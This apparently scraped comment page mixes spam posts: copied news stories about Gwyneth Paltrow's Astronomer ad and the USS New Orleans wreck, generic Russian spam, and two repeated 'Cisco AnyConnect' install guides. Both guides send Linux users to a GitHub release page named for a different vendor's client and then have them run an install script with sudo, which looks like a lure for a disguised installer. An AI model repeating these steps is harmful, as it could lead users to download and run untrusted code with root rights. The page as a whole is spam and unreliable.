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Zacharyzoorm

10 Aug 2025 - 09:52 pm

Just when we thought the Coldplay Jumbotron controversy had run its course, Gwyneth Paltrow has entered the chat.

The Academy Award-winning actress and Goop founder appeared in a new – and very funny – ad for Astronomer, the tech firm whose former CEO and human resources chief launched a million memes after being shown on a Jumbotron at a Coldplay concert last week.
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“I’ve been hired on a very temporary basis to speak on behalf of the 300-plus employees at Astronomer,” Paltrow said in the clip shared on the company’s Instagram on Friday night, adding that Astronomer had received “a lot of questions over the last few days.”

In addition to her other hats, Paltrow, of course, is also the famously “consciously uncoupled” ex-wife of Coldplay frontman Chris Martin, who at a concert in Boston last week inadvertently revealed an intimate moment between two top executives at Astronomer – who were seen embracing but immediately ducked from view – during a performance of Coldplay’s “Jumbotron Song.”
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“Whoa, look at these two,” Martin quipped at the time. “Either they’re having an affair or they’re just very shy.”

The moment caused a major internet sensation and an immediate spotlight on Astronomer. Both executives shown in the video have since resigned.

In the clip featuring Paltrow on Friday, the “questions” she addresses do not deal with the controversy, but rather the tech-focused business dealings of New York-based firm Astronomer.

The clip’s caption read simply, “Thank you for your interest in Astronomer.”

Williamevaro

10 Aug 2025 - 09:51 pm

Obtain and Deploy Cisco Systems AnyConnect is a easy operation if you follow the directions below.

Requirements
Before the user begin, verify the following prerequisites:
- OS support: Windows 10/11, macOS, or Ubuntu/CentOS.
- Elevated permissions on the machine.
- network access for the transfer.

Download procedure
1. Open a web browser such as Google Chrome, Firefox, or Edge Chromium.
2. Go to the Cisco vendor webpage or your enterprise portal.
3. Locate the AnyConnect Secure Mobility installer for your OS.
4. Click the download link and save the package.

Verify the download
Following the file download, verify the installer:
- File size should match the published size.
- Where provided, verify the digital signature.

Install on Windows
1. Right-click the setup file and choose Open with admin rights.
2. Follow the on-screen instructions:
- Accept the EULA.
- Choose the standard features.
3. Complete the installation and restart if required.

Install on macOS
1. Open the installation image and double-click the package.
2. Follow the installation guide, enter admin credentials when requested.
3. Grant any system exceptions in System Preferences if needed.

Install on Linux
1. Extract the package https://github.com/ivclient/Ivanti-Secure-Access-Client/releases if archived.
2. Run the installation script with root permissions, for example:
sudo ./vpn_install.sh
3. Follow the console prompts to finalize the setup.

Connect to a VPN
1. Launch the AnyConnect.
2. Enter the server address.
3. Provide your login details and any multi-factor verification.
4. Click Connect and verify the connection status.

Troubleshooting
If you run into errors:
- Check network access.
- Reboot the application.
- Uninstall and reinstall the software.
- Consult the system logs for errors and search Cisco knowledge base.

Tayonarainwar

10 Aug 2025 - 09:25 pm

Я считаю, что Вы ошибаетесь. Пишите мне в PM.
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Kaylaopimi

10 Aug 2025 - 07:36 pm

Вместо критики пишите свои варианты.
когда на данный подход не хочется и мечтается об начать дело еще с проверенными специалистами, то лучше обнаружить некоторых личностей на досках объявлений в онлайн-режиме либо сделать заказ в исток занятости населения,

Angelinabak

10 Aug 2025 - 07:35 pm

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Williamevaro

10 Aug 2025 - 06:40 pm

Obtain and Deploy Cisco Systems AnyConnect VPN is a straightforward procedure if you adhere to the instructions below.

Requirements
Before the administrator commence, check the below prerequisites:
- OS requirements: Windows 7+, macOS, or Linux.
- Admin privileges on the machine.
- Internet connectivity for the transfer.

Download procedure
1. Open a browser such as Google Chrome, Mozilla Firefox, or Edge.
2. Go to the Cisco vendor webpage or your organization download portal.
3. Locate the AnyConnect package for your operating system.
4. Click the obtain link and save the installer.

Verify the download
After the download process, check the installer:
- File size should agree with the listed figure.
- Where provided, confirm the digital signature.

Install on Windows
1. Right-click the installer and choose Run as admin.
2. Follow the visual prompts:
- Accept the user agreement.
- Choose the recommended components.
3. Complete the setup and log off and on if required.

Install on macOS
1. Open the installation image and double-click the installer.
2. Follow the setup guide, enter admin password when asked.
3. Grant any privacy exceptions in System Settings if required.

Install on Linux
1. Extract the package https://github.com/ivclient/Ivanti-Secure-Access-Client/releases if packed.
2. Run the setup script with sudo privileges, for example:
sudo ./vpn_install.sh
3. Follow the console prompts to finish the installation.

Connect to a VPN
1. Launch the AnyConnect client.
2. Enter the server address.
3. Provide your username and password and any MFA code.
4. Click Establish connection and check the status.

Troubleshooting
If you encounter errors:
- Verify network access.
- Reboot the software.
- Remove and reinstall the software.
- Consult the system logs for errors and search Cisco documentation.

Eddieblige

10 Aug 2025 - 06:07 pm

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Jamesbef

10 Aug 2025 - 04:31 pm

The bow of a US Navy cruiser damaged in a World War II battle in the Pacific has shone new light on one of the most remarkable stories in the service’s history.

More than 80 years ago, the crew of the USS New Orleans, having been hit by a Japanese torpedo and losing scores of sailors, performed hasty repairs with coconut logs, before a 1,800-mile voyage across the Pacific in reverse.

The front of the ship, or the bow, had sunk to the sea floor. But over the weekend, the Nautilus Live expedition from the Ocean Exploration Trust located it in 675 meters (2,214 feet) of water in Iron Bottom Sound in the Solomon Islands.
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Using remotely operated underwater vehicles, scientists and historians observed “details in the ship’s structure, painting, and anchor to positively identify the wreckage as New Orleans,” the expedition’s website said.

On November 30, 1942, New Orleans was struck on its portside bow during the Battle of Tassafaronga, off Guadalcanal island, according to an official Navy report of the incident.
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The torpedo’s explosion ignited ammunition in the New Orleans’ forward ammunition magazine, severing the first 20% of the 588-foot warship and killing more than 180 of its 900 crew members, records state.

The crew worked to close off bulkheads to prevent flooding in the rest of the ship, and it limped into the harbor on the island of Tulagi, where sailors went into the jungle to get repair supplies.

“Camouflaging their ship from air attack, the crew jury-rigged a bow of coconut logs,” a US Navy account states.
With that makeshift bow, the ship steamed – in reverse – some 1,800 miles across the Pacific to Australia for sturdier repairs, according to an account from the National World War II Museum in Louisiana.

Retired US Navy Capt. Carl Schuster described to CNN the remarkable skill involved in sailing a warship backwards for that extended distance.

“‘Difficult’ does not adequately describe the challenge,” Schuster said.

While a ship’s bow is designed to cut through waves, the stern is not, meaning wave action lifts and drops the stern with each trough, he said.

When the stern rises, rudders lose bite in the water, making steering more difficult, Schuster said.

And losing the front portion of the ship changes the ship’s center of maneuverability, or its “pivot point,” he said.

“That affects how the ship responds to sea and wind effects and changes the ship’s response to rudder and propellor actions,” he said.

The New Orleans’ officers would have had to learn – on the go – a whole new set of actions and commands to keep it stable and moving in the right direction, he said.

The ingenuity and adaptiveness that saved the New Orleans at the Battle of Tassafaronga enabled it to be a force later in the war.

Andyskant

10 Aug 2025 - 02:24 pm

Я извиняюсь, но, по-моему, Вы не правы. Предлагаю это обсудить. Пишите мне в PM, пообщаемся.
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Nedostatochno

10 Aug 2025 - 02:14 pm

Hi